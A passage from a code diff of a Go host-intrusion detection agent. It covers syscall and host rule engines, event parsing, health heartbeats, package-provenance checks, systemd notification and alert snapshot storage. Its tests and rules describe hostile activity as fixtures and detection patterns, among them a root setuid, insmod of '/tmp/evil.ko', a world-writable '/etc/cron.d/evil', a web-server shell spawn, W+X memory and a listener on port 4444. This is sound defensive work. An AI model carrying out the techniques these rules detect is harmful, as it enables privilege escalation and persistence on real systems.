{HostEvent{Event: "setuid", PID: 6, Comm: "python3", TargetUID: 0, TargetGID: -1}, 100071},
{HostEvent{Event: "setgid", PID: 7, Comm: "python3", TargetUID: -1, TargetGID: 0}, 100072},
{HostEvent{Event: "accept", PID: 8, Comm: "python3", PeerIP: "8.8.8.8", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100076},
{HostEvent{Event: "capset", PID: 9, Comm: "python3", Capabilities: []string{"cap_sys_admin"}, TargetUID: -1, TargetGID: -1}, 100077},
{HostEvent{Event: "module_load", PID: 10, Comm: "insmod", Path: "/tmp/evil.ko", TargetUID: -1, TargetGID: -1}, 100078},
}
for _, test := range tests {
found := false
for _, alert := range engine.Match(test.event) {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
}
}
}
func TestHostInterpreterCommsReturnsCopy(t *testing.T) {
first := HostInterpreterComms()
if len(first) == 0 {
t.Fatal("interpreter list must not be empty")
}
original := first[0]
first[0] = "mutated"
if HostInterpreterComms()[0] != original {
t.Fatal("caller mutated shared interpreter list")
}
}
func TestHostRulesRejectCommonOrPrivateNetworkShapes(t *testing.T) {
engine := DefaultHostRuleEngine()
for _, event := range []HostEvent{
{Event: "tcp_connect", Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 443},
{Event: "tcp_connect", Comm: "python3", PeerIP: "10.0.0.2", PeerPort: 4444},
{Event: "listen", Comm: "python3", LocalPort: 80},
} {
if alerts := engine.Match(event); len(alerts) != 0 {
t.Fatalf("benign network shape matched: %#v", alerts)
}
}
}
func TestHostAlertContract(t *testing.T) {
event := HostEvent{
Event: "chmod", PID: 42, PPID: 1, UID: 0, Comm: "chmod",
Path: "/etc/cron.d/evil", TargetUID: -1, TargetGID: -1, Mode: 0o777,
}
alert := DefaultHostRuleEngine().Match(event)[0]
if alert.Key != "host:100070:chmod:42::0::0:/etc/cron.d/evil:-1:-1:511::" ||
!strings.Contains(alert.Detail, "mode=0o777 capabilities=- module=-") {
t.Fatalf("unexpected host alert: %#v", alert)
}
}

View file

@ -0,0 +1,121 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"bufio"
"encoding/json"
"fmt"
"io"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
type EventKind string
const (
ExecKind EventKind = "exec"
SyscallKind EventKind = "syscall"
HostKind EventKind = "host"
)
// RuleSet is the transport-independent destination for every live or replayed
// kernel event. A cilium/ebpf source only needs to decode into these records;
// it does not need to know rule details or alert schemas.
type RuleSet struct {
Exec ExecRuleEngine
Syscall SyscallRuleEngine
Host HostRuleEngine
}
func NewRuleSet(exec ExecRuleEngine) RuleSet {
return RuleSet{
Exec: exec, Syscall: DefaultSyscallRuleEngine(), Host: DefaultHostRuleEngine(),
}
}
func (r RuleSet) MatchJSON(raw []byte) ([]model.Alert, error) {
kind, err := eventKind(raw)
if err != nil {
return nil, err
}
switch kind {
case ExecKind:
var event ExecEvent
if err := json.Unmarshal(raw, &event); err != nil {
return nil, err
}
return r.Exec.Match(event), nil
case SyscallKind:
var event SyscallEvent
if err := json.Unmarshal(raw, &event); err != nil {
return nil, err
}
return r.Syscall.Match(event), nil
case HostKind:
var event HostEvent
if err := json.Unmarshal(raw, &event); err != nil {
return nil, err
}
return r.Host.Match(event), nil
default:
return nil, fmt.Errorf("event JSON must be an exec, syscall, or host event")
}
}
func eventKind(raw []byte) (EventKind, error) {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return "", err
}
explicit := strings.ToLower(stringValue(firstValue(values, "event", "type")))
switch explicit {
case "exec", "execve":
return ExecKind, nil
case "syscall", "sys":
return SyscallKind, nil
case "tcp_connect", "bind", "listen", "accept", "file_write",
"chmod", "chown", "setuid", "setgid", "capset", "module_load":
return HostKind, nil
}
if _, ok := values["filename"]; ok {
return ExecKind, nil
}
if _, ok := values["argv"]; ok {
return ExecKind, nil
}
if _, ok := values["parent_comm"]; ok {
return ExecKind, nil
}
if _, ok := values["syscall"]; ok {
return SyscallKind, nil
}
if _, ok := values["args"]; ok {
return SyscallKind, nil
}
return "", fmt.Errorf("event JSON must be an exec, syscall, or host event")
}
// ScanJSONL feeds non-empty lines to the matcher callback with line-numbered
// errors. Scanner capacity is raised for long argv or future module metadata.
func ScanJSONL(reader io.Reader, consume func([]byte) error) error {
scanner := bufio.NewScanner(reader)
scanner.Buffer(make([]byte, 64*1024), 1024*1024)
line := 0
for scanner.Scan() {
line++
raw := bytesTrimSpace(scanner.Bytes())
if len(raw) == 0 {
continue
}
if err := consume(raw); err != nil {
return fmt.Errorf("event stream line %d: %w", line, err)
}
}
return scanner.Err()
}
func bytesTrimSpace(value []byte) []byte {
return []byte(strings.TrimSpace(string(value)))
}

View file

@ -0,0 +1,45 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"strings"
"testing"
)
func TestRuleSetMatchesCompatibilityJSON(t *testing.T) {
rules := NewRuleSet(DefaultExecRuleEngine())
tests := []struct {
raw string
sid int
}{
{`{"type":"execve","pid":"42","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]}`, 100003},
{`{"type":"sys","pid":"43","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"}`, 100060},
{`{"type":"listen","pid":"44","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"}`, 100068},
}
for _, test := range tests {
alerts, err := rules.MatchJSON([]byte(test.raw))
if err != nil {
t.Fatal(err)
}
found := false
for _, alert := range alerts {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %s: %#v", test.sid, test.raw, alerts)
}
}
}
func TestScanJSONLReportsLine(t *testing.T) {
err := ScanJSONL(strings.NewReader("\n{}\n"), func(raw []byte) error {
_, err := NewRuleSet(DefaultExecRuleEngine()).MatchJSON(raw)
return err
})
if err == nil || !strings.Contains(err.Error(), "line 2") {
t.Fatalf("missing line context: %v", err)
}
}

View file

@ -0,0 +1,42 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import "encoding/json"
// SyscallEvent is the transport-neutral security telemetry consumed by the
// syscall rules. Unsupplied arguments decode as zero, matching Python's
// dataclass defaults and the partial fixtures accepted by rule operations.
type SyscallEvent struct {
PID int `json:"pid"`
PPID int `json:"ppid"`
UID int `json:"uid"`
Comm string `json:"comm"`
Syscall string `json:"syscall"`
Args [6]uint64 `json:"args"`
Text string `json:"text"`
}
func (e *SyscallEvent) UnmarshalJSON(raw []byte) error {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return err
}
e.PID = integerValue(values["pid"], 0)
e.PPID = integerValue(values["ppid"], 0)
e.UID = integerValue(values["uid"], 0)
e.Comm = stringValue(values["comm"])
e.Syscall = stringValue(values["syscall"])
e.Text = stringValue(values["text"])
if args, ok := values["args"].([]any); ok {
for index := 0; index < len(args) && index < len(e.Args); index++ {
e.Args[index] = uint64(integerValue(args[index], 0))
}
}
for index, key := range []string{"arg0", "arg1", "arg2", "arg3", "arg4", "arg5"} {
if value, ok := values[key]; ok {
e.Args[index] = uint64(integerValue(value, int(e.Args[index])))
}
}
return nil
}

View file

@ -0,0 +1,123 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"fmt"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
const (
protWrite = 0x2
protExec = 0x4
ptraceTrace = 0
ptraceAttach = 16
ptraceSeize = 0x4206
prSetSeccomp = 22
)
type syscallPredicate func(SyscallEvent) bool
type SyscallRule struct {
SID int
Message string
Severity string
Classtype string
Syscalls map[string]bool
Predicate syscallPredicate
}
func (r SyscallRule) Matches(event SyscallEvent) bool {
return r.Syscalls[event.Syscall] && r.Predicate(event)
}
func (r SyscallRule) Alert(event SyscallEvent) model.Alert {
detail := fmt.Sprintf(
"sid=%d %s — pid=%d ppid=%d comm=%s syscall=%s args=[%#x, %#x, %#x, %#x]",
r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Syscall,
event.Args[0], event.Args[1], event.Args[2], event.Args[3])
if event.Text != "" {
detail += " text=[" + truncateRunes(event.Text, 80) + "]"
}
return model.Alert{
SID: r.SID, Severity: r.Severity,
Signature: "syscall_rule." + r.Classtype, Classtype: r.Classtype,
Key: fmt.Sprintf("syscall:%d:%d:%s:%x:%x",
r.SID, event.PID, event.Syscall, event.Args[0], event.Args[2]),
Detail: detail, PIDs: []int{event.PID},
}
}
type SyscallRuleEngine struct {
Rules []SyscallRule
}
func DefaultSyscallRuleEngine() SyscallRuleEngine {
return SyscallRuleEngine{Rules: []SyscallRule{
{
SID: 100060, Message: "mprotect made memory writable and executable",
Severity: "CRITICAL", Classtype: "memory-obfuscation",
Syscalls: stringSet([]string{"mprotect"}),
Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) },
},
{
SID: 100061, Message: "mmap requested writable and executable memory",
Severity: "CRITICAL", Classtype: "memory-obfuscation",
Syscalls: stringSet([]string{"mmap"}),
Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) },
},
{
SID: 100062, Message: "memfd_create used for anonymous in-memory file staging",
Severity: "MEDIUM", Classtype: "fileless-execution",
Syscalls: stringSet([]string{"memfd_create"}), Predicate: alwaysSyscall,
},
{
SID: 100063, Message: "ptrace anti-debug or attach operation observed",
Severity: "HIGH", Classtype: "anti-analysis",
Syscalls: stringSet([]string{"ptrace"}),
Predicate: func(event SyscallEvent) bool {
request := event.Args[0]
return request == ptraceTrace || request == ptraceAttach || request == ptraceSeize
},
},
{
SID: 100064,
Message: "seccomp sandboxing call observed (possible anti-analysis hardening)",
Severity: "MEDIUM", Classtype: "anti-analysis",
Syscalls: stringSet([]string{"prctl", "seccomp"}),
Predicate: func(event SyscallEvent) bool {
return event.Syscall == "seccomp" || event.Args[0] == prSetSeccomp
},
},
{
SID: 100065, Message: "cross-process memory read/write syscall observed",
Severity: "HIGH", Classtype: "credential-access",
Syscalls: stringSet([]string{"process_vm_readv", "process_vm_writev"}),
Predicate: alwaysSyscall,
},
{
SID: 100066,
Message: "memory locking syscall observed (possible protected in-memory payload)",
Severity: "MEDIUM", Classtype: "memory-obfuscation",
Syscalls: stringSet([]string{"mlock", "mlock2", "mlockall"}),
Predicate: alwaysSyscall,
},
}}
}
func (e SyscallRuleEngine) Match(event SyscallEvent) []model.Alert {
alerts := make([]model.Alert, 0)
for _, rule := range e.Rules {
if rule.Matches(event) {
alerts = append(alerts, rule.Alert(event))
}
}
return alerts
}
func protectedWX(protection uint64) bool {
return protection&protWrite != 0 && protection&protExec != 0
}
func alwaysSyscall(SyscallEvent) bool { return true }

View file

@ -0,0 +1,64 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"strings"
"testing"
)
func syscallEvent(name string, arg0, arg2 uint64) SyscallEvent {
return SyscallEvent{
PID: 10, PPID: 1, UID: 1000, Comm: "hoxha", Syscall: name,
Args: [6]uint64{arg0, 0, arg2},
}
}
func TestDefaultSyscallRulesMatchPython(t *testing.T) {
engine := DefaultSyscallRuleEngine()
tests := []struct {
event SyscallEvent
sid int
}{
{syscallEvent("mprotect", 0, 0x6), 100060},
{syscallEvent("mmap", 0, 0x7), 100061},
{syscallEvent("memfd_create", 0, 0), 100062},
{syscallEvent("ptrace", 16, 0), 100063},
{syscallEvent("ptrace", 0x4206, 0), 100063},
{syscallEvent("prctl", 22, 0), 100064},
{syscallEvent("seccomp", 0, 0), 100064},
{syscallEvent("process_vm_readv", 4242, 0), 100065},
{syscallEvent("process_vm_writev", 4242, 0), 100065},
{syscallEvent("mlock", 0, 0), 100066},
{syscallEvent("mlockall", 0, 0), 100066},
}
for _, test := range tests {
found := false
for _, alert := range engine.Match(test.event) {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
}
}
if alerts := engine.Match(syscallEvent("mprotect", 0, 0x5)); len(alerts) != 0 {
t.Fatalf("read+exec mprotect matched: %#v", alerts)
}
if alerts := engine.Match(syscallEvent("ptrace", 3, 0)); len(alerts) != 0 {
t.Fatalf("non-sensitive ptrace matched: %#v", alerts)
}
}
func TestSyscallAlertContract(t *testing.T) {
event := syscallEvent("memfd_create", 1, 0)
event.Text = "payload"
alert := DefaultSyscallRuleEngine().Match(event)[0]
if alert.SID != 100062 || alert.Severity != "MEDIUM" ||
alert.Signature != "syscall_rule.fileless-execution" ||
alert.Key != "syscall:100062:10:memfd_create:1:0" ||
!strings.Contains(alert.Detail, "args=[0x1, 0x0, 0x0, 0x0] text=[payload]") {
t.Fatalf("unexpected alert: %#v", alert)
}
}

View file

@ -0,0 +1,90 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package health persists the migration service liveness marker.
package health
import (
"fmt"
"os"
"path/filepath"
"strconv"
"strings"
"time"
)
const Filename = "heartbeat"
const Schema = "enodia.go.health.v1"
// Status is the stable machine-readable result returned by the health command.
type Status struct {
Schema string `json:"schema"`
Healthy bool `json:"healthy"`
Heartbeat string `json:"heartbeat,omitempty"`
AgeSeconds int64 `json:"age_seconds,omitempty"`
MaxAgeSeconds int64 `json:"max_age_seconds"`
Detail string `json:"detail"`
}
// WriteHeartbeat atomically stores a Unix timestamp in the state directory.
// A stale retained value is intentional: watchdogs can distinguish a stopped
// or wedged process from a service that has never completed a sweep.
func WriteHeartbeat(stateDir string, now time.Time) error {
if stateDir == "" {
return fmt.Errorf("state directory is required")
}
if err := os.MkdirAll(stateDir, 0o750); err != nil {
return fmt.Errorf("create heartbeat directory: %w", err)
}
path := filepath.Join(stateDir, Filename)
temporary := path + ".tmp"
content := []byte(strconv.FormatInt(now.Unix(), 10) + "\n")
if err := os.WriteFile(temporary, content, 0o600); err != nil {
return fmt.Errorf("write heartbeat: %w", err)
}
if err := os.Rename(temporary, path); err != nil {
return fmt.Errorf("replace heartbeat: %w", err)
}
if err := os.Chmod(path, 0o600); err != nil {
return fmt.Errorf("protect heartbeat: %w", err)
}
return nil
}
// ReadHeartbeat loads the retained Unix timestamp.
func ReadHeartbeat(stateDir string) (time.Time, error) {
raw, err := os.ReadFile(filepath.Join(stateDir, Filename))
if err != nil {
return time.Time{}, err
}
seconds, err := strconv.ParseInt(strings.TrimSpace(string(raw)), 10, 64)
if err != nil {
return time.Time{}, fmt.Errorf("parse heartbeat: %w", err)
}
return time.Unix(seconds, 0), nil
}
// Check evaluates the retained heartbeat against the configured maximum age.
// Missing or malformed state is represented in the result instead of returned
// as an error so callers can always emit a complete health record.
func Check(stateDir string, now time.Time, maxAge time.Duration) Status {
status := Status{Schema: Schema, MaxAgeSeconds: int64(maxAge / time.Second)}
heartbeat, err := ReadHeartbeat(stateDir)
if err != nil {
status.Detail = "heartbeat unavailable: " + err.Error()
return status
}
age := now.Sub(heartbeat)
if age < 0 {
age = 0
}
status.Heartbeat = heartbeat.Local().Format(time.RFC3339)
status.AgeSeconds = int64(age / time.Second)
status.Healthy = age <= maxAge
if status.Healthy {
status.Detail = "heartbeat is fresh"
} else {
status.Detail = "heartbeat is stale"
}
return status
}

View file

@ -0,0 +1,71 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package health
import (
"os"
"path/filepath"
"testing"
"time"
)
func TestHeartbeatRoundTripAndPermissions(t *testing.T) {
directory := filepath.Join(t.TempDir(), "state")
want := time.Unix(1_753_012_345, 987_654_321)
if err := WriteHeartbeat(directory, want); err != nil {
t.Fatal(err)
}
got, err := ReadHeartbeat(directory)
if err != nil {
t.Fatal(err)
}
if !got.Equal(time.Unix(want.Unix(), 0)) {
t.Fatalf("heartbeat=%s want=%s", got, want)
}
info, err := os.Stat(filepath.Join(directory, Filename))
if err != nil {
t.Fatal(err)
}
if got := info.Mode().Perm(); got != 0o600 {
t.Fatalf("mode=%#o", got)
}
if _, err := os.Stat(filepath.Join(directory, Filename+".tmp")); !os.IsNotExist(err) {
t.Fatalf("temporary heartbeat remains: %v", err)
}
}
func TestHeartbeatRejectsMissingDirectory(t *testing.T) {
if err := WriteHeartbeat("", time.Now()); err == nil {
t.Fatal("empty directory accepted")
}
}
func TestReadHeartbeatRejectsInvalidContent(t *testing.T) {
directory := t.TempDir()
if err := os.WriteFile(filepath.Join(directory, Filename), []byte("invalid\n"), 0o600); err != nil {
t.Fatal(err)
}
if _, err := ReadHeartbeat(directory); err == nil {
t.Fatal("invalid heartbeat accepted")
}
}
func TestCheckReportsFreshStaleAndMissing(t *testing.T) {
directory := t.TempDir()
now := time.Unix(2_000, 0)
if err := WriteHeartbeat(directory, now.Add(-30*time.Second)); err != nil {
t.Fatal(err)
}
fresh := Check(directory, now, time.Minute)
if !fresh.Healthy || fresh.AgeSeconds != 30 || fresh.Detail != "heartbeat is fresh" {
t.Fatalf("fresh=%#v", fresh)
}
stale := Check(directory, now, 10*time.Second)
if stale.Healthy || stale.Detail != "heartbeat is stale" || stale.MaxAgeSeconds != 10 {
t.Fatalf("stale=%#v", stale)
}
missing := Check(filepath.Join(directory, "missing"), now, time.Minute)
if missing.Healthy || missing.Detail == "" {
t.Fatalf("missing=%#v", missing)
}
}

View file

@ -29,9 +29,17 @@ type MemoryMap struct {
// State is one injectable detector sweep, equivalent to the Python
// SystemState boundary.
type State struct {
Processes []Process `json:"processes"`
Sockets []Socket `json:"sockets"`
LDPreload string `json:"ld_preload"`
Processes []Process `json:"processes"`
Sockets []Socket `json:"sockets"`
LDPreload string `json:"ld_preload"`
ListenerBaseline []string `json:"listener_baseline"`
SUIDBaseline []string `json:"suid_baseline"`
SUIDBinaries []string `json:"suid_binaries"`
PersistSince *float64 `json:"persist_since"`
PersistenceFiles map[string]float64 `json:"persistence_files"`
FirstSeenInitialized bool `json:"first_seen_initialized"`
FirstSeenPublicDestinations map[string][]string `json:"first_seen_public_destinations"`
FirstSeenListenerPorts map[string][]string `json:"first_seen_listener_ports"`
}
// Socket matches the Python SystemState socket view. Nil inode/PID values

View file

@ -0,0 +1,70 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package provenance answers "is this file shipped by an installed package?".
// Ownership raises confidence that a binary is legitimate; it never proves
// safety, so callers use it to suppress or rank alerts, not to delete evidence.
package provenance
import (
"context"
"os/exec"
"strings"
"sync"
"time"
)
var (
mu sync.Mutex
tool *string
cache = map[string]bool{}
)
func packageTool() string {
if tool != nil {
return *tool
}
found := ""
for _, name := range []string{"pacman", "dpkg", "rpm"} {
if _, err := exec.LookPath(name); err == nil {
found = name
break
}
}
tool = &found
return found
}
func query(name, path string) bool {
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
switch name {
case "pacman":
output, err := exec.CommandContext(ctx, "pacman", "-Qo", path).Output()
return err == nil && strings.Contains(string(output), "owned by")
case "dpkg":
output, err := exec.CommandContext(ctx, "dpkg", "-S", path).Output()
return err == nil && strings.Contains(string(output), ":")
case "rpm":
output, err := exec.CommandContext(ctx, "rpm", "-qf", path).Output()
return err == nil && !strings.Contains(string(output), "not owned")
}
return false
}
// IsPackageOwned reports whether path belongs to an installed package.
// Results are cached because package ownership is stable within a sweep run.
func IsPackageOwned(path string) bool {
if path == "" || path == "(deleted)" {
return false
}
path = strings.ReplaceAll(path, " (deleted)", "")
mu.Lock()
defer mu.Unlock()
if owned, seen := cache[path]; seen {
return owned
}
name := packageTool()
owned := name != "" && query(name, path)
cache[path] = owned
return owned
}

View file

@ -19,8 +19,9 @@ var eventTypes = map[string]bool{
"alert": true, "incident": true, "status": true,
}
// Status matches the required enodia.status.v1 fields. The prototype sidecar
// has no retained snapshots yet, so those counts remain empty/zero.
// Status matches the required enodia.status.v1 fields. Agent-level callers use
// zero retention values; the service executable fills them from its optional
// snapshot store immediately before emitting a status envelope.
type Status struct {
Schema string `json:"schema"`
Version string `json:"version"`

View file

@ -0,0 +1,49 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package sdnotify implements the small systemd notification subset needed by
// the service binary without adding a runtime dependency.
package sdnotify
import (
"fmt"
"net"
"os"
"strings"
)
// Notifier sends state records to the socket inherited from systemd. An empty
// socket makes Notify a no-op so the agent behaves identically outside a unit.
type Notifier struct {
socket string
}
// FromEnvironment returns a notifier for systemd's NOTIFY_SOCKET contract.
func FromEnvironment() Notifier {
return New(os.Getenv("NOTIFY_SOCKET"))
}
// New constructs a notifier for an explicit socket, primarily for tests.
func New(socket string) Notifier {
return Notifier{socket: socket}
}
// Notify sends one newline-delimited systemd state record.
func (n Notifier) Notify(state string) error {
if n.socket == "" {
return nil
}
if state == "" || strings.ContainsRune(state, '\x00') {
return fmt.Errorf("invalid empty or NUL-containing notification")
}
connection, err := net.DialUnix(
"unixgram", nil, &net.UnixAddr{Name: n.socket, Net: "unixgram"},
)
if err != nil {
return fmt.Errorf("connect notify socket: %w", err)
}
defer connection.Close()
if _, err := connection.Write([]byte(state)); err != nil {
return fmt.Errorf("write notify socket: %w", err)
}
return nil
}

View file

@ -0,0 +1,48 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package sdnotify
import (
"net"
"path/filepath"
"testing"
"time"
)
func TestDisabledNotifierIsNoOp(t *testing.T) {
if err := New("").Notify("READY=1"); err != nil {
t.Fatalf("disabled notifier: %v", err)
}
}
func TestNotifierSendsDatagram(t *testing.T) {
path := filepath.Join(t.TempDir(), "notify.sock")
listener, err := net.ListenUnixgram("unixgram", &net.UnixAddr{Name: path, Net: "unixgram"})
if err != nil {
t.Fatal(err)
}
defer listener.Close()
if err := New(path).Notify("READY=1\nSTATUS=initialized"); err != nil {
t.Fatal(err)
}
if err := listener.SetReadDeadline(time.Now().Add(time.Second)); err != nil {
t.Fatal(err)
}
buffer := make([]byte, 128)
read, _, err := listener.ReadFromUnix(buffer)
if err != nil {
t.Fatal(err)
}
if got := string(buffer[:read]); got != "READY=1\nSTATUS=initialized" {
t.Fatalf("notification=%q", got)
}
}
func TestNotifierRejectsInvalidState(t *testing.T) {
if err := New("unused").Notify(""); err == nil {
t.Fatal("empty state accepted")
}
if err := New("unused").Notify("READY=1\x00STATUS=bad"); err == nil {
t.Fatal("NUL state accepted")
}
}

View file

@ -0,0 +1,385 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package snapshot retains Python-compatible alert snapshot pairs for the Go
// migration service. It intentionally leaves incident grouping and rich
// post-alert enrichment to later parity tranches while preserving the stable
// v1 fields consumed by existing read-only tools.
package snapshot
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
const Schema = "enodia.alert.snapshot.v1"
type ProcessDetail struct {
PID int `json:"pid"`
Comm string `json:"comm"`
Exe string `json:"exe"`
CWD string `json:"cwd"`
Cmdline string `json:"cmdline"`
PPID int `json:"ppid"`
PPIDComm string `json:"ppid_comm"`
UID int `json:"uid"`
LDPreload string `json:"ld_preload"`
FDs map[string]string `json:"fds"`
}
type Report struct {
Schema string `json:"schema"`
Time string `json:"time"`
Host string `json:"host"`
Severity string `json:"severity"`
IncidentID *string `json:"incident_id"`
Alerts []model.Alert `json:"alerts"`
Processes []ProcessDetail `json:"processes"`
Enrichment map[string]any `json:"enrichment"`
}
type Stats struct {
Total int
Counts map[string]int
LastAlert *string
}
type Store struct {
Dir string
ProcRoot string
MaxCount int
MaxAgeDays int
Now func() time.Time
Collect func(int) ProcessDetail
mu sync.Mutex
}
// New preflights the isolated snapshot directory before service readiness.
func New(dir, procRoot string, maxCount, maxAgeDays int) (*Store, error) {
if dir == "" {
return nil, fmt.Errorf("snapshot directory is required")
}
if maxCount < 0 || maxAgeDays < 0 {
return nil, fmt.Errorf("snapshot retention values must be non-negative")
}
if procRoot == "" {
procRoot = "/proc"
}
if err := os.MkdirAll(dir, 0o750); err != nil {
return nil, fmt.Errorf("create snapshot directory: %w", err)
}
probe, err := os.CreateTemp(dir, ".snapshot-preflight-*")
if err != nil {
return nil, fmt.Errorf("preflight snapshot directory: %w", err)
}
probePath := probe.Name()
if err := probe.Chmod(0o600); err != nil {
probe.Close()
os.Remove(probePath)
return nil, fmt.Errorf("protect snapshot preflight: %w", err)
}
if err := probe.Close(); err != nil {
os.Remove(probePath)
return nil, fmt.Errorf("close snapshot preflight: %w", err)
}
if err := os.Remove(probePath); err != nil {
return nil, fmt.Errorf("remove snapshot preflight: %w", err)
}
store := &Store{Dir: dir, ProcRoot: procRoot, MaxCount: maxCount, MaxAgeDays: maxAgeDays, Now: time.Now}
store.Collect = func(pid int) ProcessDetail { return collectProcess(procRoot, pid) }
if err := store.Prune(); err != nil {
return nil, err
}
return store, nil
}
// CaptureEvent merges one alert envelope into its second-granularity snapshot.
// Python filenames use second precision, so merging avoids overwriting sibling
// alerts emitted by one poll sweep or concurrent kernel sources.
func (s *Store) CaptureEvent(event map[string]any) (string, error) {
if event["event_type"] != "alert" {
return "", fmt.Errorf("snapshot requires an alert event")
}
alert, err := decodeAlert(event["alert"])
if err != nil {
return "", err
}
timestamp, ok := event["timestamp"].(string)
if !ok || timestamp == "" {
return "", fmt.Errorf("snapshot event timestamp is required")
}
captured, err := time.Parse(time.RFC3339Nano, timestamp)
if err != nil {
return "", fmt.Errorf("parse snapshot timestamp: %w", err)
}
host, _ := event["host"].(string)
base := filepath.Join(s.Dir, "alert-"+captured.Format("20060102-150405"))
s.mu.Lock()
defer s.mu.Unlock()
report := Report{
Schema: Schema, Time: timestamp, Host: host, Severity: alert.Severity,
Alerts: []model.Alert{}, Processes: []ProcessDetail{},
Enrichment: map[string]any{"source": "enodia-sentinel-go"},
}
jsonPath := base + ".json"
if raw, err := os.ReadFile(jsonPath); err == nil {
if err := json.Unmarshal(raw, &report); err != nil {
return "", fmt.Errorf("decode existing snapshot: %w", err)
}
if report.Schema != Schema {
return "", fmt.Errorf("existing snapshot has schema %q", report.Schema)
}
} else if !os.IsNotExist(err) {
return "", fmt.Errorf("read existing snapshot: %w", err)
}
report.Alerts = append(report.Alerts, alert)
report.Severity = maxSeverity(report.Severity, alert.Severity)
report.Processes = s.collectProcesses(report.Alerts)
if report.Enrichment == nil {
report.Enrichment = map[string]any{"source": "enodia-sentinel-go"}
}
if err := writeJSONAtomic(jsonPath, report); err != nil {
return "", err
}
if err := writeAtomic(base+".log", []byte(formatText(report))); err != nil {
return "", err
}
if err := s.pruneLocked(); err != nil {
return "", err
}
return filepath.Base(base + ".log"), nil
}
func (s *Store) collectProcesses(alerts []model.Alert) []ProcessDetail {
seen := map[int]bool{}
var pids []int
for _, alert := range alerts {
for _, pid := range alert.PIDs {
if pid > 0 && !seen[pid] {
seen[pid] = true
pids = append(pids, pid)
}
}
}
sort.Ints(pids)
result := make([]ProcessDetail, 0, len(pids))
for _, pid := range pids {
result = append(result, s.Collect(pid))
}
return result
}
// SnapshotStats prunes first, then derives status claims from retained,
// parseable snapshot files. Calling it for every status emission keeps the age
// bound active even when a quiet host produces no new alert snapshots.
func (s *Store) SnapshotStats() (Stats, error) {
s.mu.Lock()
defer s.mu.Unlock()
if err := s.pruneLocked(); err != nil {
return Stats{}, err
}
stats := Stats{Counts: map[string]int{}}
paths, _ := filepath.Glob(filepath.Join(s.Dir, "alert-*.json"))
for _, path := range paths {
raw, err := os.ReadFile(path)
if err != nil {
continue
}
var report Report
if json.Unmarshal(raw, &report) != nil || report.Schema != Schema {
continue
}
stats.Total++
stats.Counts[report.Severity]++
if stats.LastAlert == nil || report.Time > *stats.LastAlert {
value := report.Time
stats.LastAlert = &value
}
}
return stats, nil
}
// Prune applies count and age limits to JSON/text pairs.
func (s *Store) Prune() error {
s.mu.Lock()
defer s.mu.Unlock()
return s.pruneLocked()
}
func (s *Store) pruneLocked() error {
paths, err := filepath.Glob(filepath.Join(s.Dir, "alert-*.json"))
if err != nil {
return fmt.Errorf("list snapshots: %w", err)
}
type candidate struct {
path string
mod time.Time
}
items := make([]candidate, 0, len(paths))
for _, path := range paths {
info, err := os.Stat(path)
if err == nil {
items = append(items, candidate{path: path, mod: info.ModTime()})
}
}
sort.Slice(items, func(i, j int) bool { return items[i].mod.After(items[j].mod) })
cutoff := time.Time{}
if s.MaxAgeDays > 0 {
cutoff = s.Now().Add(-time.Duration(s.MaxAgeDays) * 24 * time.Hour)
}
kept := 0
for _, item := range items {
remove := (!cutoff.IsZero() && item.mod.Before(cutoff)) || (s.MaxCount > 0 && kept >= s.MaxCount)
if remove {
if err := removePair(item.path); err != nil {
return err
}
continue
}
kept++
}
return nil
}
func decodeAlert(value any) (model.Alert, error) {
raw, err := json.Marshal(value)
if err != nil {
return model.Alert{}, fmt.Errorf("encode snapshot alert: %w", err)
}
var alert model.Alert
if err := json.Unmarshal(raw, &alert); err != nil {
return model.Alert{}, fmt.Errorf("decode snapshot alert: %w", err)
}
if alert.SID == 0 || alert.Signature == "" || alert.Severity == "" {
return model.Alert{}, fmt.Errorf("snapshot alert is incomplete")
}
return alert, nil
}
func maxSeverity(left, right string) string {
rank := map[string]int{"MEDIUM": 1, "HIGH": 2, "CRITICAL": 3}
if rank[right] > rank[left] {
return right
}
return left
}
func writeJSONAtomic(path string, value any) error {
raw, err := json.MarshalIndent(value, "", " ")
if err != nil {
return fmt.Errorf("encode snapshot: %w", err)
}
return writeAtomic(path, append(raw, '\n'))
}
func writeAtomic(path string, raw []byte) error {
temporary := path + ".tmp"
if err := os.WriteFile(temporary, raw, 0o600); err != nil {
return fmt.Errorf("write snapshot: %w", err)
}
if err := os.Rename(temporary, path); err != nil {
return fmt.Errorf("replace snapshot: %w", err)
}
if err := os.Chmod(path, 0o600); err != nil {
return fmt.Errorf("protect snapshot: %w", err)
}
return nil
}
func removePair(jsonPath string) error {
base := strings.TrimSuffix(jsonPath, ".json")
